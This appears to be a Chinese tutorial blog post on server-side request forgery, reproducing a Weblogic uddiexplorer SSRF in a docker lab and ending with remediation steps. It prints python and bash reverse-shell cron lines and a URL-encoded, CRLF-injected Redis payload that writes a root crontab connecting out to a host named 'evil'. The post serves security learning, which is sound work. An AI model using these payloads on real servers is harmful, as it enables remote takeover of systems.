SSRF学习 3

news2024/9/24 15:17:06

目录

<1> 什么是SSRF?

<2> 通常SSRF会发生在哪些位置?

<3> 测试流程

<4> Weblogic-ssrf 复现

(1) 漏洞存在点

(2) 注入HTTP头,利用Redis反弹shell

 (3) 修复方案


<1> 什么是SSRF?

SSRF(Server-Side Request Forgery)服务器端请求伪造。与 CSRF 不同的是,SSRF 针对的是从外部无法访问的服务器所在的内网,并对其进行探测、攻击。
服务器端请求伪造,简单来说,就是服务器端代替用户向目标网址发起请求,当目标地址为服务器内网时,便造成了 SSRF。

可造成的危害有:

  • 内网主机端口探测(cms识别)

    利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。

    可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口

  • 任意文件读取
  • 攻击内网、getshell
  • 等等

<2> 通常SSRF会发生在哪些位置?

  • 添加图片地址
  • 添加 url
  • 一些在线服务,如:爬虫、网页分享(获取摘要)等等
  • XXE 漏洞也可以造成 SSRF
  • 远程文件包含也可造成 SSRF
  • 各种 api 接口
    • url 中的关键字有:share、wap、url、link、src、source、target、display、sourceURl、imageURL、domain·······

<3> 测试流程

  • 寻找一些跟添加 url 有关的功能点

  • 发包、抓包,观察 GET 参数或者 POST 参数中的参数有无特征参数,并且参数值为 URL 网址

  • 更改其中的 URL 的值后发包,对比正常请求,观察返回包长度、返回码、返回信息、响应时间以及是否有响应,不同则可能存在SSRF漏洞

  • 也可以将其中的 URL 的值改为自己的远程主机,并在主机上开启监听。当监听到该网址发送过来的请求时,则可能存在SSRF漏洞

  • 尝试绕过过滤规则,实现内网探测、攻击,比如说 redis 未授权访问拿 shell 等

  • 利用 file:// 协议,则可进行任意文件读取,进一步利用拿 shell 等

<4> Weblogic-ssrf 复现

漏洞描述:Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

影响版本:weblogic 10.0.2 – 10.3.6版本

(1) 漏洞存在点

 docker-compose up -d

访问http://your-ip:7001/console/login/LoginForm.jsp 可以看见登录页面

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

 burp抓包进行测试

  • 修改operator参数为外网http://www.baidu.com

会返回

Received a response from url: http://www.baidu.com which did not have a valid SOAP content-type: text/html

 很明显,服务器是访问了百度,并且告知客户端其接收到了一个包含content-type: text/html的响应

  • 再访问本机存在的端口,修改operator参数为http://127.0.0.1:7001

一般是返回 status code

  • 修改为一个不存在的端口,修改operator参数为http://127.0.0.1:6666

将会返回could not connect over HTTP to server 

  •  当访问内网一些不走 http 协议并且开启了的端口时 比如redis 6379,修改operator参数为http://172.23.0.2:6379 (redis服务器ip为172.23.0.2   weblogic为172.23.0.3)

会返回 did not have a valid SOAP content-type

通过错误的不同,即可探测内网状态

(2) 注入HTTP头,利用Redis反弹shell

        Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

  • 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*.*.*),docker inspect发现redis服务ip为172.23.0.2

通过回显错误的信息:did not have a valid SOAP content-type,可以发现172.23.0.2:6379可以连通

python反弹shell:

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash反弹shell:

*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
  • 发送如下三条redis命令,将反弹shell脚本写入/etc/crontab定时任务:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

 进行url编码:

set%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave

替换%0a为%0d%0a

test%0D%0A%0D%0Aset%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fetc%2f%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0D%0A%0D%0Aaaa

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

 (3) 修复方案

  • 方法一:

删除uddiexplorer文件夹

限制uddiexplorer应用只能内网访问

  • 方法二:

将SearchPublicRegistries.jsp直接删除

  • 方法三:

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:

    1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;

    2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;

    3)用winrar等工具打开uddiexplorer.war;

    4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;

    5)保存后上传回服务端替换原先的uddiexplorer.war;

    6)对于多台主机组成的集群,针对每台主机都要做这样的操作;

    7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/382752.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CentOS安装配置Nginx

一、下载Nginx&#xff1a; 说明&#xff1a; 1&#xff09;因为这是一个stable稳定版本。 2&#xff09;Mainline version: 开发版&#xff1b;Stable version: 稳定版&#xff1b;Legacy versions: 早期版本&#xff1b; 二、上传到Linux中&#xff1a; 三、解压文件&#…

HBase集群部署

目录 一、前期准备 二、HBase下载 1. 查看HBase与hadoop版本对应关系 2. hbase的下载 3. 将hbase的tar包上传到linux 下 二、安装hbase 1. 解压 2. HBase的文件配置 主机名hadoop版本HBase版本hadoop安装路径Hbase安装路径HadoopMaster3.3.02.4.3/home/hadoop/softwareh…

【SSM】篇二:注解开发与AOP

文章目录1、注解开发1.1 注解开发定义bean1.2 纯注解开发模式1.3 注解开发Bean的作用范围和生命周期1.4 注解开发依赖注入1.5 注解开发管理第三方Bean2、Spring整合案例2.1 Spring整合mybatis2.2 Spring整合Junit3、AOP3.1 AOP思想入门案例3.2 AOP工作流程3.3 AOP切入点表达式3…

pg逻辑复制详解

目录 什么是逻辑复制 逻辑解析 复制槽 output plugin ​​​​​​​几个常见的outputplugin 几个能手动接收解析数据的函数和工具 逻辑解析测试1&#xff1a;观察用2个不同的output plugin解析数据 逻辑解析测试2&#xff1a;使用pg_recvlogical工具接收逻辑解析数据&am…

服务器配置 | 在Windows本地显示远程服务器绘图程序

文章目录方法1&#xff1a;在MobaXterm的终端输入指令方法2&#xff1a;在Pycharm中运行前提概要&#xff0c;需要在本地Windows端显示点云的3d可视化界面 对于点云的3d可视化一般有两种方法&#xff0c;open3d显示或者是mayavi显示。这两个库都可以使用pip install来实现安装…

给正在准备PMP考试的同学一些建议

去年年尾参与了pmp考试&#xff0c;顺利通过&#xff0c;并得了5A&#xff0c;让我小小激动了一下。在出来结果之前&#xff0c;我也是坚信自己能过&#xff0c;得知是5A&#xff0c;当然也是非常高兴。话不多说&#xff0c; 先贴图&#xff1a; 这里我将要说一下我都是如何备…

Modbus网关在锂电池干燥箱的应用

在锂离子电池生产过程中&#xff0c;将正负极片辊压绕卷再放入电池盒之后&#xff0c;须对锂电池电芯极组进行烘烤干燥。相信大家也了解水分对锂电池的性能影响是很大的&#xff0c;需要注液前在装配车间将锂离子电池电芯内部的水分去除&#xff0c;以免影响锂电池质量。在锂电…

星光2开发板使用ECR6600U无线wifi网卡的方法

visionfive2 开发板性能还是不错的&#xff0c;有些人买的时候会带一个无线wifi网卡&#xff0c;但是官方提供的操作系统没有驱动。 所以需要自己编驱动&#xff08;他大爷的&#xff09;。 还好有人已经踩过坑了。 星光2之USB无线网卡使用教程【新增RTL8832AU WiFi6双频无线…

开发手册——一、编程规约_3.代码格式

这篇文章主要梳理了在java的实际开发过程中的编程规范问题。本篇文章主要借鉴于《阿里巴巴java开发手册终极版》 下面我们一起来看一下吧。 1. 【强制】大括号的使用约定。如果是大括号内为空&#xff0c;则简洁地写成{}即可&#xff0c;不需要换行&#xff1b;如果是非空代码…

BI的能力边界:能解决的企业问题和不擅长的领域

数字化转型本就需要借助信息化相关技术、思想来完成&#xff0c;所以说信息化建设同样是数字化转型过程中非常重要的一环&#xff0c;而这就是商业智能BI和数字化转型的关系 BI 能解决的企业问题 数据是企业的重要资产&#xff0c;也是企业商业智能BI的核心要求。通常&#x…

【微信小程序】-- 全局配置 -- tabBar(十七)

&#x1f48c; 所属专栏&#xff1a;【微信小程序开发教程】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &…

【数据可视化工具】浅谈 DataEase 和 FineBI 支持的数据源

前言最近对市面上比较火热的数据可视化工具 DataEase 和 FineBI 进行了调研&#xff0c;在支持的数据源方面感觉不太一样&#xff0c;所以就有了这篇文章&#xff0c;话不多说&#xff0c;我们一起来看一下吧&#xff01;以下的内容&#xff0c;大多来自两个工具的官方文档&…

高可用 - 05 Keepalived配置(全局配置、VRRPD、LVS)

文章目录PreKeepalived的全局配置Keepalived的VRRPD配置VRRP同步组配置VRRP实例配置Keepalived的LVS配置TCP_CHECKHTTP_GET & SSL_GETMISC_CHECKPre 高可用 - 04 Keepalived编译安装 高可用 - 04 Keepalived编译安装安装Keepalived的过程中&#xff0c;指定了Keepalived配…

Chrome访问新版bing(玄学,需要魔法)

文章目录前提1. 需要魔法2. 申请过使用新版bing&#xff0c;并且收到通过的邮件。没有的话先申请&#xff0c;加入waiting list&#xff08;不赘述&#xff0c;自行百度&#xff09;配置1. Chrome安装插件&#xff08;Header Editor&#xff09;2. Header Editor添加规则3. 允许…

PaddleOCR遇到 lanms-neo问题处理

在window环境中安装PaddleOCR依赖是真的蛋疼&#xff0c;关键官方论坛里也都没有具体的解决方案。吐槽。。。吐槽。。。 我在 “windows安装lanms-neo问题处理”文章中看到lanms-neo问题全过程解决。个人觉得文档说明不是很细致&#xff0c;导致我按步骤执行&#xff0c;还是安…

插上数据的翅膀,开启我升职加薪的梦想之旅

我是麦思思&#xff0c;大学毕业后就进入大厂工作并担任电子消费行业业务部门的数据分析师&#xff0c;对于一个数据分析师而言&#xff0c;Excel是必备技能&#xff0c;函数公式我能随手就来&#xff0c;几十M的文件处理那都是轻轻松松。但是&#xff0c;近几年随着企业业务发…

一种全新的图像变换理论的实验(五)——研究目的替代DCT和小波

一、前言 目前在大量的灰度图像测试下&#xff0c;基本确定变换系数ratio取值0-25之间时&#xff0c;逆变化后的图还能基本保障效果&#xff0c;而且越接近0效果越好。本文还是以lenna.bmp灰度图为例&#xff0c;实验不再逆变换&#xff0c;而是把变换后的数据直接输出为bmp的…

如何计算Bitmap的内存占用

日常我们提到图片大小的时候&#xff0c;一般都会把关注点放在图片的文件大小。因为一般来说&#xff0c;图片文件越小&#xff0c;内存占用也会越小。但是其实图片文件大小和内存占用大小没有什么直接的必然联系&#xff0c;我们可以通过查看 Android 的 Bitmap 的内存分配&am…

GitLab 专家分享|关于 DevSecOps ,你需要知道这几点

本文来源&#xff1a;about.gitlab.com 译者&#xff1a;极狐(GitLab) 市场部内容团队 ❔ 灵魂拷问&#xff1a; 你的安全测试&#xff0c;能否跟上现代软件开发模式的步伐&#xff1f; GitLab 预测到&#xff0c;2023 年企业会将更多的时间和资源投入到持续的安全左移上&…

Day08-网页布局实战表单和表格

文章目录网页布局实战一 表单案例1-表单前后端交互案例2-常用表单元素知识点input的属性总结&#xff1a;type属性的其他值(了解)&#xff1a;按钮label标签二 结构伪类选择器三 表单布局案例案例1贯穿案例-登录页面制作案例2贯穿案例-注册页面制作四 表格案例1-表格设计案例2-…